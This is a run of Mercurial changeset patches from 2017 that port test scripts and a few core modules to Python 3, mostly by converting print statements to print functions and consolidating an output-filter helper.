   <div><em>&#116;&#101;&#115;&#116;</em></div>
   <div>parents: </div>
-  <a href="/diff/1af356141006/primes.py">diff</a>
-  <a href="/rev/1af356141006">changeset</a>
+  <a href="/diff/f4fca47b67e6/primes.py">diff</a>
+  <a href="/rev/f4fca47b67e6">changeset</a>
   </div>
   </td>
   <td class="source followlines-btn-parent"><a href="#l31">    31</a> </td>
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500954977 14400
#      Mon Jul 24 23:56:17 2017 -0400
# Node ID fa9f7b5d439770f9421478aced650e54c6a868ab
# Parent  65de152ba375fddbd2ecca910185ec2900063da9
tests: fix test-notify.t to use $PYTHON

In doing so, I consolidated the filtering logic. This resulted in some
small test output changes, but I think the consistency throughout the
test is worth it.

Differential Revision: https://phab.mercurial-scm.org/D279

diff --git a/tests/test-notify.t b/tests/test-notify.t
--- a/tests/test-notify.t
+++ b/tests/test-notify.t
@@ -1,3 +1,8 @@
+  $ cat > $TESTTMP/filter.py <<EOF
+  > from __future__ import print_function
+  > import sys, re
+  > print(re.sub("\n[ \t]", " ", sys.stdin.read()), end="")
+  > EOF
 
   $ cat <<EOF >> $HGRCPATH
   > [extensions]
@@ -175,8 +180,7 @@
 of the very long subject line
 pull (minimal config)
 
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n[\t ]", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
@@ -205,6 +209,7 @@
   @@ -1,1 +1,2 @@ a
   +a
   (run 'hg update' to get a working copy)
+
   $ cat <<EOF >> $HGRCPATH
   > [notify]
   > config = `pwd`/.notify.conf
@@ -228,8 +233,7 @@
 
   $ hg --cwd b rollback
   repository tip rolled back to revision 0 (undo pull)
-  $ hg --traceback --cwd b pull ../a  | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a  | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
@@ -254,8 +258,7 @@
   diff -r cb9a9f314b8b -r 0647d048b600 a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:01 1970 +0000
-  @@ -1,1 +1,2 @@
-   a
+  @@ -1,1 +1,2 @@ a
   +a
   (run 'hg update' to get a working copy)
 
@@ -272,8 +275,7 @@
 
   $ hg --cwd b rollback
   repository tip rolled back to revision 0 (undo pull)
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
@@ -294,17 +296,14 @@
   changeset 0647d048b600 in b
   description: b
   diffstat:
-  
-   a |  1 +
-   1 files changed, 1 insertions(+), 0 deletions(-)
+   a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (6 lines):
   
   diff -r cb9a9f314b8b -r 0647d048b600 a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:01 1970 +0000
-  @@ -1,1 +1,2 @@
-   a
+  @@ -1,1 +1,2 @@ a
   +a
   (run 'hg update' to get a working copy)
 
@@ -321,8 +320,7 @@
   (branch merge, don't forget to commit)
   $ hg ci -m merge -d '3 0'
   $ cd ..
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
@@ -343,17 +341,14 @@
   changeset 0a184ce6067f in b
   description: adda2
   diffstat:
-  
-   a |  1 +
-   1 files changed, 1 insertions(+), 0 deletions(-)
+   a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (6 lines):
   
   diff -r cb9a9f314b8b -r 0a184ce6067f a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:02 1970 +0000
-  @@ -1,1 +1,2 @@
-   a
+  @@ -1,1 +1,2 @@ a
   +a
   Content-Type: text/plain; charset="us-ascii"
   MIME-Version: 1.0
@@ -380,7 +375,7 @@
   $ hg --cwd a --encoding utf-8 commit -A -d '0 0' \
   >   -m `$PYTHON -c 'print "\xc3\xa0\xc3\xa1\xc3\xa2\xc3\xa3\xc3\xa4"'`
   $ hg --traceback --cwd b --encoding utf-8 pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  >   $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
@@ -401,18 +396,14 @@
   changeset 7ea05ad269dc in b
   description: \xc3\xa0\xc3\xa1\xc3\xa2\xc3\xa3\xc3\xa4 (esc)
   diffstat:
-  
-   a |  1 +
-   1 files changed, 1 insertions(+), 0 deletions(-)
+   a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (7 lines):
   
   diff -r 6a0cf76b2701 -r 7ea05ad269dc a
   --- a/a	Thu Jan 01 00:00:03 1970 +0000
   +++ b/a	Thu Jan 01 00:00:00 1970 +0000
-  @@ -1,2 +1,3 @@
-   a
-   a
+  @@ -1,2 +1,3 @@ a a
   +a
   (run 'hg update' to get a working copy)
 
@@ -435,7 +426,7 @@
   added 1 changesets with 1 changes to 1 files
   notify: sending 2 subscribers 1 changes
   (run 'hg update' to get a working copy)
-  $ $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", file("b/mbox").read()),'
+  $ $PYTHON $TESTTMP/filter.py < b/mbox
   From test@test.com ... ... .. ..:..:.. .... (re)
   Content-Type: text/plain; charset="us-ascii"
   MIME-Version: 1.0
@@ -451,19 +442,14 @@
   changeset e0be44cf638b in b
   description: long line
   diffstat:
-  
-   a |  1 +
-   1 files changed, 1 insertions(+), 0 deletions(-)
+   a |  1 + 1 files changed, 1 insertions(+), 0 deletions(-)
   
   diffs (8 lines):
   
   diff -r 7ea05ad269dc -r e0be44cf638b a
   --- a/a	Thu Jan 01 00:00:00 1970 +0000
   +++ b/a	Thu Jan 01 00:00:00 1970 +0000
-  @@ -1,3 +1,4 @@
-   a
-   a
-   a
+  @@ -1,3 +1,4 @@ a a a
   +nonononononononononononononononononononononononononononononononononononono=
   nononononononononononononononononononononononononononononononononononononon=
   ononononononononononononononononononononononononononononononononononononono=
@@ -500,8 +486,7 @@
   (branches are permanent and global, did you want a bookmark?)
   $ echo a >> a/a
   $ hg --cwd a ci -m test -d '1 0'
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
@@ -530,8 +515,7 @@
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ echo a >> a/a
   $ hg --cwd a ci -m test -d '1 0'
-  $ hg --traceback --cwd b pull ../a | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --traceback --cwd b pull ../a | $PYTHON $TESTTMP/filter.py
   pulling from ../a
   searching for changes
   adding changesets
@@ -559,8 +543,7 @@
   $ mv "$HGRCPATH.new" $HGRCPATH
   $ echo a >> a/a
   $ hg --cwd a commit -m 'default template'
-  $ hg --cwd b pull ../a -q | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
   Content-Type: text/plain; charset="us-ascii"
   MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
@@ -589,8 +572,7 @@
   > EOF
   $ echo a >> a/a
   $ hg --cwd a commit -m 'with style'
-  $ hg --cwd b pull ../a -q | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
   Content-Type: text/plain; charset="us-ascii"
   MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
@@ -613,8 +595,7 @@
   > EOF
   $ echo a >> a/a
   $ hg --cwd a commit -m 'with template'
-  $ hg --cwd b pull ../a -q | \
-  >   $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  $ hg --cwd b pull ../a -q | $PYTHON $TESTTMP/filter.py
   Content-Type: text/plain; charset="us-ascii"
   MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1500907059 14400
#      Mon Jul 24 10:37:39 2017 -0400
# Node ID 388901a15bfa8f606612430a52f79097693d16b5
# Parent  fa9f7b5d439770f9421478aced650e54c6a868ab
obsolete: use bytes() instead of str() so the node is bytes on py3

I'm not sure this is right, since this should either be bytes or str
to match what's going on in the revlog layer.

Differential Revision: https://phab.mercurial-scm.org/D271

diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -583,7 +583,7 @@
 
         metadata = tuple(sorted(metadata.iteritems()))
 
-        marker = (str(prec), tuple(succs), int(flag), metadata, date, parents)
+        marker = (bytes(prec), tuple(succs), int(flag), metadata, date, parents)
         return bool(self.add(transaction, [marker]))
 
     def add(self, transaction, markers):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1497547952 14400
#      Thu Jun 15 13:32:32 2017 -0400
# Node ID 27fb986e54d0ce61179f78a13e762b7c5757442d
# Parent  388901a15bfa8f606612430a52f79097693d16b5
tests: fix simple heredoc print statements to work on Py3

There are a handful left that require some more care.

Differential Revision: https://phab.mercurial-scm.org/D293

diff --git a/tests/test-hgweb-no-path-info.t b/tests/test-hgweb-no-path-info.t
--- a/tests/test-hgweb-no-path-info.t
+++ b/tests/test-hgweb-no-path-info.t
@@ -31,11 +31,11 @@
   > input = stringio()
   > 
   > def startrsp(status, headers):
-  >     print '---- STATUS'
-  >     print status
-  >     print '---- HEADERS'
-  >     print [i for i in headers if i[0] != 'ETag']
-  >     print '---- DATA'
+  >     print('---- STATUS')
+  >     print(status)
+  >     print('---- HEADERS')
+  >     print([i for i in headers if i[0] != 'ETag'])
+  >     print('---- DATA')
   >     return output.write
   > 
   > env = {
@@ -59,8 +59,8 @@
   >     sys.stdout.write(output.getvalue())
   >     sys.stdout.write(''.join(content))
   >     getattr(content, 'close', lambda : None)()
-  >     print '---- ERRORS'
-  >     print errors.getvalue()
+  >     print('---- ERRORS')
+  >     print(errors.getvalue())
   > 
   > output = stringio()
   > env['QUERY_STRING'] = 'style=atom'
diff --git a/tests/test-hgweb-no-request-uri.t b/tests/test-hgweb-no-request-uri.t
--- a/tests/test-hgweb-no-request-uri.t
+++ b/tests/test-hgweb-no-request-uri.t
@@ -31,11 +31,11 @@
   > input = stringio()
   > 
   > def startrsp(status, headers):
-  >     print '---- STATUS'
-  >     print status
-  >     print '---- HEADERS'
-  >     print [i for i in headers if i[0] != 'ETag']
-  >     print '---- DATA'
+  >     print('---- STATUS')
+  >     print(status)
+  >     print('---- HEADERS')
+  >     print([i for i in headers if i[0] != 'ETag'])
+  >     print('---- DATA')
   >     return output.write
   > 
   > env = {
@@ -58,8 +58,8 @@
   >     sys.stdout.write(output.getvalue())
   >     sys.stdout.write(''.join(content))
   >     getattr(content, 'close', lambda : None)()
-  >     print '---- ERRORS'
-  >     print errors.getvalue()
+  >     print('---- ERRORS')
+  >     print(errors.getvalue())
   > 
   > output = stringio()
   > env['PATH_INFO'] = '/'
diff --git a/tests/test-hgweb-non-interactive.t b/tests/test-hgweb-non-interactive.t
--- a/tests/test-hgweb-non-interactive.t
+++ b/tests/test-hgweb-non-interactive.t
@@ -41,11 +41,11 @@
   > output = stringio()
   > 
   > def startrsp(status, headers):
-  >     print '---- STATUS'
-  >     print status
-  >     print '---- HEADERS'
-  >     print [i for i in headers if i[0] != 'ETag']
-  >     print '---- DATA'
+  >     print('---- STATUS')
+  >     print(status)
+  >     print('---- HEADERS')
+  >     print([i for i in headers if i[0] != 'ETag'])
+  >     print('---- DATA')
   >     return output.write
   > 
   > env = {
@@ -68,13 +68,13 @@
   > i = hgweb('.')
   > for c in i(env, startrsp):
   >     pass
-  > print '---- ERRORS'
-  > print errors.getvalue()
-  > print '---- OS.ENVIRON wsgi variables'
-  > print sorted([x for x in os.environ if x.startswith('wsgi')])
-  > print '---- request.ENVIRON wsgi variables'
+  > print('---- ERRORS')
+  > print(errors.getvalue())
+  > print('---- OS.ENVIRON wsgi variables')
+  > print(sorted([x for x in os.environ if x.startswith('wsgi')]))
+  > print('---- request.ENVIRON wsgi variables')
   > with i._obtainrepo() as repo:
-  >     print sorted([x for x in repo.ui.environ if x.startswith('wsgi')])
+  >     print(sorted([x for x in repo.ui.environ if x.startswith('wsgi')]))
   > EOF
   $ $PYTHON request.py
   ---- STATUS
diff --git a/tests/test-repair-strip.t b/tests/test-repair-strip.t
--- a/tests/test-repair-strip.t
+++ b/tests/test-repair-strip.t
@@ -4,7 +4,7 @@
   > import sys
   > for entry in sys.stdin.read().split('\n'):
   >     if entry:
-  >         print entry.split('\x00')[0]
+  >         print(entry.split('\x00')[0])
   > EOF
 
   $ echo "[extensions]" >> $HGRCPATH
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1497550945 14400
#      Thu Jun 15 14:22:25 2017 -0400
# Node ID 24849d53697d4e6724d9057f1ebc1045b8a5530d
# Parent  27fb986e54d0ce61179f78a13e762b7c5757442d
tests: clean up many print statements to be print functions instead

Differential Revision: https://phab.mercurial-scm.org/D294

diff --git a/tests/test-commit-interactive-curses.t b/tests/test-commit-interactive-curses.t
--- a/tests/test-commit-interactive-curses.t
+++ b/tests/test-commit-interactive-curses.t
@@ -345,7 +345,7 @@
   > $PYTHON <<EOF
   > from mercurial import hg, ui;\
   > repo = hg.repository(ui.ui.load(), ".");\
-  > print repo.ui.interface("chunkselector")
+  > print(repo.ui.interface("chunkselector"))
   > EOF
   > }
   $ chunkselectorinterface
diff --git a/tests/test-commit-multiple.t b/tests/test-commit-multiple.t
--- a/tests/test-commit-multiple.t
+++ b/tests/test-commit-multiple.t
@@ -90,7 +90,7 @@
   >     f.close()
   > 
   > def printfiles(repo, rev):
-  >     print "revision %s files: %s" % (rev, repo[rev].files())
+  >     print("revision %s files: %s" % (rev, repo[rev].files()))
   > 
   > repo = hg.repository(ui.ui.load(), '.')
   > assert len(repo) == 6, \
@@ -99,14 +99,14 @@
   > replacebyte("bugfix", "u")
   > sleep(2)
   > try:
-  >     print "PRE: len(repo): %d" % len(repo)
+  >     print("PRE: len(repo): %d" % len(repo))
   >     wlock = repo.wlock()
   >     lock = repo.lock()
   >     replacebyte("file1", "x")
   >     repo.commit(text="x", user="test", date=(0, 0))
   >     replacebyte("file1", "y")
   >     repo.commit(text="y", user="test", date=(0, 0))
-  >     print "POST: len(repo): %d" % len(repo)
+  >     print("POST: len(repo): %d" % len(repo))
   > finally:
   >     lock.release()
   >     wlock.release()
diff --git a/tests/test-contrib-check-code.t b/tests/test-contrib-check-code.t
--- a/tests/test-contrib-check-code.t
+++ b/tests/test-contrib-check-code.t
@@ -213,32 +213,32 @@
   [1]
 
   $ cat > ./map-inside-gettext.py <<EOF
-  > print _("map inside gettext %s" % v)
+  > print(_("map inside gettext %s" % v))
   > 
-  > print _("concatenating " " by " " space %s" % v)
-  > print _("concatenating " + " by " + " '+' %s" % v)
+  > print(_("concatenating " " by " " space %s" % v))
+  > print(_("concatenating " + " by " + " '+' %s" % v))
   > 
-  > print _("mapping operation in different line %s"
-  >         % v)
+  > print(_("mapping operation in different line %s"
+  >         % v))
   > 
-  > print _(
-  >         "leading spaces inside of '(' %s" % v)
+  > print(_(
+  >         "leading spaces inside of '(' %s" % v))
   > EOF
   $ "$check_code" ./map-inside-gettext.py
   ./map-inside-gettext.py:1:
-   > print _("map inside gettext %s" % v)
+   > print(_("map inside gettext %s" % v))
    don't use % inside _()
   ./map-inside-gettext.py:3:
-   > print _("concatenating " " by " " space %s" % v)
+   > print(_("concatenating " " by " " space %s" % v))
    don't use % inside _()
   ./map-inside-gettext.py:4:
-   > print _("concatenating " + " by " + " '+' %s" % v)
+   > print(_("concatenating " + " by " + " '+' %s" % v))
    don't use % inside _()
   ./map-inside-gettext.py:6:
-   > print _("mapping operation in different line %s"
+   > print(_("mapping operation in different line %s"
    don't use % inside _()
   ./map-inside-gettext.py:9:
-   > print _(
+   > print(_(
    don't use % inside _()
   [1]
 
diff --git a/tests/test-convert-cvs.t b/tests/test-convert-cvs.t
--- a/tests/test-convert-cvs.t
+++ b/tests/test-convert-cvs.t
@@ -12,10 +12,10 @@
   $ echo "convert = " >> $HGRCPATH
   $ cat > cvshooks.py <<EOF
   > def cvslog(ui,repo,hooktype,log):
-  >     print "%s hook: %d entries"%(hooktype,len(log))
+  >     print("%s hook: %d entries"%(hooktype,len(log)))
   > 
   > def cvschangesets(ui,repo,hooktype,changesets):
-  >     print "%s hook: %d changesets"%(hooktype,len(changesets))
+  >     print("%s hook: %d changesets"%(hooktype,len(changesets)))
   > EOF
   $ hookpath=`pwd`
   $ cat <<EOF >> $HGRCPATH
diff --git a/tests/test-eol.t b/tests/test-eol.t
--- a/tests/test-eol.t
+++ b/tests/test-eol.t
@@ -16,7 +16,7 @@
   > except ImportError:
   >     pass
   > (old, new) = sys.argv[1] == 'LF' and ('\n', '\r\n') or ('\r\n', '\n')
-  > print "%% switching encoding from %r to %r" % (old, new)
+  > print("%% switching encoding from %r to %r" % (old, new))
   > for path in sys.argv[2:]:
   >     data = file(path, 'rb').read()
   >     data = data.replace(old, new)
diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -75,13 +75,13 @@
   $ cat > foo.py <<EOF
   > import os
   > name = os.path.basename(__file__).rsplit('.', 1)[0]
-  > print "1) %s imported" % name
+  > print("1) %s imported" % name)
   > def uisetup(ui):
-  >     print "2) %s uisetup" % name
+  >     print("2) %s uisetup" % name)
   > def extsetup():
-  >     print "3) %s extsetup" % name
+  >     print("3) %s extsetup" % name)
   > def reposetup(ui, repo):
-  >    print "4) %s reposetup" % name
+  >    print("4) %s reposetup" % name)
   > 
   > # custom predicate to check registration of functions at loading
   > from mercurial import (
@@ -172,7 +172,7 @@
   $ cat > loadabs.py <<EOF
   > import mod.ambigabs as ambigabs
   > def extsetup():
-  >     print 'ambigabs.s=%s' % ambigabs.s
+  >     print('ambigabs.s=%s' % ambigabs.s)
   > EOF
   $ (PYTHONPATH=${PYTHONPATH}${PATHSEP}${TESTTMP}/libroot; hg --config extensions.loadabs=loadabs.py root)
   ambigabs.s=libroot/ambig.py
@@ -186,7 +186,7 @@
   $ cat > loadrel.py <<EOF
   > import mod.ambigrel as ambigrel
   > def extsetup():
-  >     print 'ambigrel.s=%s' % ambigrel.s
+  >     print('ambigrel.s=%s' % ambigrel.s)
   > EOF
   $ (PYTHONPATH=${PYTHONPATH}${PATHSEP}${TESTTMP}/libroot; hg --config extensions.loadrel=loadrel.py root)
   ambigrel.s=libroot/mod/ambig.py
diff --git a/tests/test-filebranch.t b/tests/test-filebranch.t
--- a/tests/test-filebranch.t
+++ b/tests/test-filebranch.t
@@ -2,8 +2,9 @@
 when we do a merge.
 
   $ cat <<EOF > merge
+  > from __future__ import print_function
   > import sys, os
-  > print "merging for", os.path.basename(sys.argv[1])
+  > print("merging for", os.path.basename(sys.argv[1]))
   > EOF
   $ HGMERGE="$PYTHON ../merge"; export HGMERGE
 
diff --git a/tests/test-glog.t b/tests/test-glog.t
--- a/tests/test-glog.t
+++ b/tests/test-glog.t
@@ -1633,7 +1633,7 @@
 Test glob expansion of pats
 
   $ expandglobs=`$PYTHON -c "import mercurial.util; \
-  >   print mercurial.util.expandglobs and 'true' or 'false'"`
+  >   print(mercurial.util.expandglobs and 'true' or 'false')"`
   $ if [ $expandglobs = "true" ]; then
   >    testlog 'a*';
   > else
diff --git a/tests/test-hardlinks.t b/tests/test-hardlinks.t
--- a/tests/test-hardlinks.t
+++ b/tests/test-hardlinks.t
@@ -1,11 +1,12 @@
 #require hardlink
 
   $ cat > nlinks.py <<EOF
+  > from __future__ import print_function
   > import sys
   > from mercurial import util
   > for f in sorted(sys.stdin.readlines()):
   >     f = f[:-1]
-  >     print util.nlinks(f), f
+  >     print(util.nlinks(f), f)
   > EOF
 
   $ nlinksdir()
diff --git a/tests/test-help.t b/tests/test-help.t
--- a/tests/test-help.t
+++ b/tests/test-help.t
@@ -1709,7 +1709,7 @@
 
   $ $PYTHON <<EOF | sh
   > upper = "\x8bL\x98^"
-  > print "hg --encoding cp932 help -e ambiguous.%s" % upper
+  > print("hg --encoding cp932 help -e ambiguous.%s" % upper)
   > EOF
   \x8bL\x98^ (esc)
   ----
@@ -1719,7 +1719,7 @@
 
   $ $PYTHON <<EOF | sh
   > lower = "\x8bl\x98^"
-  > print "hg --encoding cp932 help -e ambiguous.%s" % lower
+  > print("hg --encoding cp932 help -e ambiguous.%s" % lower)
   > EOF
   \x8bl\x98^ (esc)
   ----
diff --git a/tests/test-hook.t b/tests/test-hook.t
--- a/tests/test-hook.t
+++ b/tests/test-hook.t
@@ -409,6 +409,7 @@
   $ cd "$TESTTMP/b"
 
   $ cat > hooktests.py <<EOF
+  > from __future__ import print_function
   > from mercurial import error
   > 
   > uncallable = 0
@@ -418,9 +419,9 @@
   >     args.pop('repo', None)
   >     a = list(args.items())
   >     a.sort()
-  >     print 'hook args:'
+  >     print('hook args:')
   >     for k, v in a:
-  >        print ' ', k, v
+  >        print(' ', k, v)
   > 
   > def passhook(**args):
   >     printargs(args)
@@ -445,7 +446,7 @@
   >     ui.note('verbose output from hook\n')
   > 
   > def printtags(ui, repo, **args):
-  >     print sorted(repo.tags())
+  >     print(sorted(repo.tags()))
   > 
   > class container:
   >     unreachable = 1
@@ -630,7 +631,7 @@
 
   $ cat > hookext.py <<EOF
   > def autohook(**args):
-  >     print "Automatically installed hook"
+  >     print("Automatically installed hook")
   > 
   > def reposetup(ui, repo):
   >     repo.ui.setconfig("hooks", "commit.auto", autohook)
@@ -667,7 +668,7 @@
   $ cd hooks
   $ cat > testhooks.py <<EOF
   > def testhook(**args):
-  >     print 'hook works'
+  >     print('hook works')
   > EOF
   $ echo '[hooks]' > ../repo/.hg/hgrc
   $ echo "pre-commit.test = python:`pwd`/testhooks.py:testhook" >> ../repo/.hg/hgrc
diff --git a/tests/test-inherit-mode.t b/tests/test-inherit-mode.t
--- a/tests/test-inherit-mode.t
+++ b/tests/test-inherit-mode.t
@@ -25,13 +25,13 @@
   > allnames.sort()
   > for name in allnames:
   >     suffix = name in isdir and '/' or ''
-  >     print '%05o %s%s' % (os.lstat(name).st_mode & 07777, name, suffix)
+  >     print('%05o %s%s' % (os.lstat(name).st_mode & 07777, name, suffix))
   > EOF
 
   $ cat >mode.py <<EOF
   > import sys
   > import os
-  > print '%05o' % os.lstat(sys.argv[1]).st_mode
+  > print('%05o' % os.lstat(sys.argv[1]).st_mode)
   > EOF
 
   $ umask 077
diff --git a/tests/test-issue4074.t b/tests/test-issue4074.t
--- a/tests/test-issue4074.t
+++ b/tests/test-issue4074.t
@@ -8,7 +8,7 @@
   >     print
   >     if random.randint(0, 100) >= 50:
   >         x += 1
-  >     print hex(x)
+  >     print(hex(x))
   > EOF
 
   $ hg init a
diff --git a/tests/test-largefiles-cache.t b/tests/test-largefiles-cache.t
--- a/tests/test-largefiles-cache.t
+++ b/tests/test-largefiles-cache.t
@@ -96,7 +96,7 @@
   > #!$PYTHON
   > import sys, os
   > path = sys.argv[1]
-  > print '%03o' % (os.lstat(path).st_mode & 0777)
+  > print('%03o' % (os.lstat(path).st_mode & 0777))
   > EOF
   $ chmod +x ls-l.py
 
diff --git a/tests/test-log.t b/tests/test-log.t
--- a/tests/test-log.t
+++ b/tests/test-log.t
@@ -1793,7 +1793,7 @@
   $ cd problematicencoding
 
   $ $PYTHON > setup.sh <<EOF
-  > print u'''
+  > print(u'''
   > echo a > text
   > hg add text
   > hg --encoding utf-8 commit -u '\u30A2' -m none
@@ -1803,13 +1803,13 @@
   > hg --encoding utf-8 commit -u none -m '\u30A2'
   > echo d > text
   > hg --encoding utf-8 commit -u none -m '\u30C2'
-  > '''.encode('utf-8')
+  > '''.encode('utf-8'))
   > EOF
   $ sh < setup.sh
 
 test in problematic encoding
   $ $PYTHON > test.sh <<EOF
-  > print u'''
+  > print(u'''
   > hg --encoding cp932 log --template '{rev}\\n' -u '\u30A2'
   > echo ====
   > hg --encoding cp932 log --template '{rev}\\n' -u '\u30C2'
@@ -1817,7 +1817,7 @@
   > hg --encoding cp932 log --template '{rev}\\n' -k '\u30A2'
   > echo ====
   > hg --encoding cp932 log --template '{rev}\\n' -k '\u30C2'
-  > '''.encode('cp932')
+  > '''.encode('cp932'))
   > EOF
   $ sh < test.sh
   0
diff --git a/tests/test-merge-symlinks.t b/tests/test-merge-symlinks.t
--- a/tests/test-merge-symlinks.t
+++ b/tests/test-merge-symlinks.t
@@ -1,5 +1,6 @@
   $ cat > echo.py <<EOF
   > #!$PYTHON
+  > from __future__ import print_function
   > import os, sys
   > try:
   >     import msvcrt
@@ -9,7 +10,7 @@
   >     pass
   > 
   > for k in ('HG_FILE', 'HG_MY_ISLINK', 'HG_OTHER_ISLINK', 'HG_BASE_ISLINK'):
-  >     print k, os.environ[k]
+  >     print(k, os.environ[k])
   > EOF
 
 Create 2 heads containing the same file, once as
diff --git a/tests/test-merge1.t b/tests/test-merge1.t
--- a/tests/test-merge1.t
+++ b/tests/test-merge1.t
@@ -1,4 +1,5 @@
   $ cat <<EOF > merge
+  > from __future__ import print_function
   > import sys, os
   > 
   > try:
@@ -8,7 +9,7 @@
   > except ImportError:
   >     pass
   > 
-  > print "merging for", os.path.basename(sys.argv[1])
+  > print("merging for", os.path.basename(sys.argv[1]))
   > EOF
   $ HGMERGE="$PYTHON ../merge"; export HGMERGE
 
diff --git a/tests/test-merge6.t b/tests/test-merge6.t
--- a/tests/test-merge6.t
+++ b/tests/test-merge6.t
@@ -1,6 +1,6 @@
   $ cat <<EOF > merge
   > import sys, os
-  > print "merging for", os.path.basename(sys.argv[1])
+  > print("merging for", os.path.basename(sys.argv[1]))
   > EOF
   $ HGMERGE="$PYTHON ../merge"; export HGMERGE
 
diff --git a/tests/test-mq-eol.t b/tests/test-mq-eol.t
--- a/tests/test-mq-eol.t
+++ b/tests/test-mq-eol.t
@@ -33,7 +33,7 @@
   > for line in file(sys.argv[1], 'rb'):
   >     line = line.replace('\r', '<CR>')
   >     line = line.replace('\n', '<LF>')
-  >     print line
+  >     print(line)
   > EOF
 
   $ hg init repo
diff --git a/tests/test-notify-changegroup.t b/tests/test-notify-changegroup.t
--- a/tests/test-notify-changegroup.t
+++ b/tests/test-notify-changegroup.t
@@ -39,7 +39,7 @@
 push
 
   $ hg --traceback --cwd b push ../a 2>&1 |
-  >     $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  >     $PYTHON -c 'from __future__ import print_function ; import sys,re; print(re.sub("\n\t", " ", sys.stdin.read()), end="")'
   pushing to ../a
   searching for changes
   adding changesets
@@ -92,7 +92,7 @@
 unbundle with correct source
 
   $ hg --config notify.sources=unbundle --cwd a unbundle ../test.hg 2>&1 |
-  >     $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  >     $PYTHON -c 'from __future__ import print_function ; import sys,re; print(re.sub("\n\t", " ", sys.stdin.read()), end="")'
   adding changesets
   adding manifests
   adding file changes
@@ -167,7 +167,7 @@
 push
 
   $ hg --traceback --cwd b --config notify.fromauthor=True push ../a 2>&1 |
-  >     $PYTHON -c 'import sys,re; print re.sub("\n\t", " ", sys.stdin.read()),'
+  >     $PYTHON -c 'from __future__ import print_function ; import sys,re; print(re.sub("\n\t", " ", sys.stdin.read()), end="")'
   pushing to ../a
   searching for changes
   adding changesets
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501037326 14400
#      Tue Jul 25 22:48:46 2017 -0400
# Node ID 62fbe95075d3439d101b1a4a89c4503560b13a31
# Parent  24849d53697d4e6724d9057f1ebc1045b8a5530d
extensions: attempt to use non-deprecated inspect method

Avoids some deprecation warnings when extension loading breaks.

Differential Revision: https://phab.mercurial-scm.org/D295

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -186,7 +186,11 @@
             try:
                 extsetup(ui)
             except TypeError:
-                if inspect.getargspec(extsetup).args:
+                # Try to use getfullargspec (Python 3) first, and fall
+                # back to getargspec only if it doesn't exist so as to
+                # avoid warnings.
+                if getattr(inspect, 'getfullargspec',
+                           getattr(inspect, 'getargspec'))(extsetup).args:
                     raise
                 extsetup() # old extsetup with no ui argument
         except Exception as inst:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1501037624 14400
#      Tue Jul 25 22:53:44 2017 -0400
# Node ID 5b2f331d0a33772ad22f4fa53b4de38a4ac8887f
# Parent  62fbe95075d3439d101b1a4a89c4503560b13a31
tests: update duplicateoptions test to use bytestrings everywhere

Test now passes on Python 3.

Differential Revision: https://phab.mercurial-scm.org/D297

diff --git a/tests/test-duplicateoptions.py b/tests/test-duplicateoptions.py
--- a/tests/test-duplicateoptions.py
+++ b/tests/test-duplicateoptions.py
@@ -6,18 +6,18 @@
     ui as uimod,
 )
 
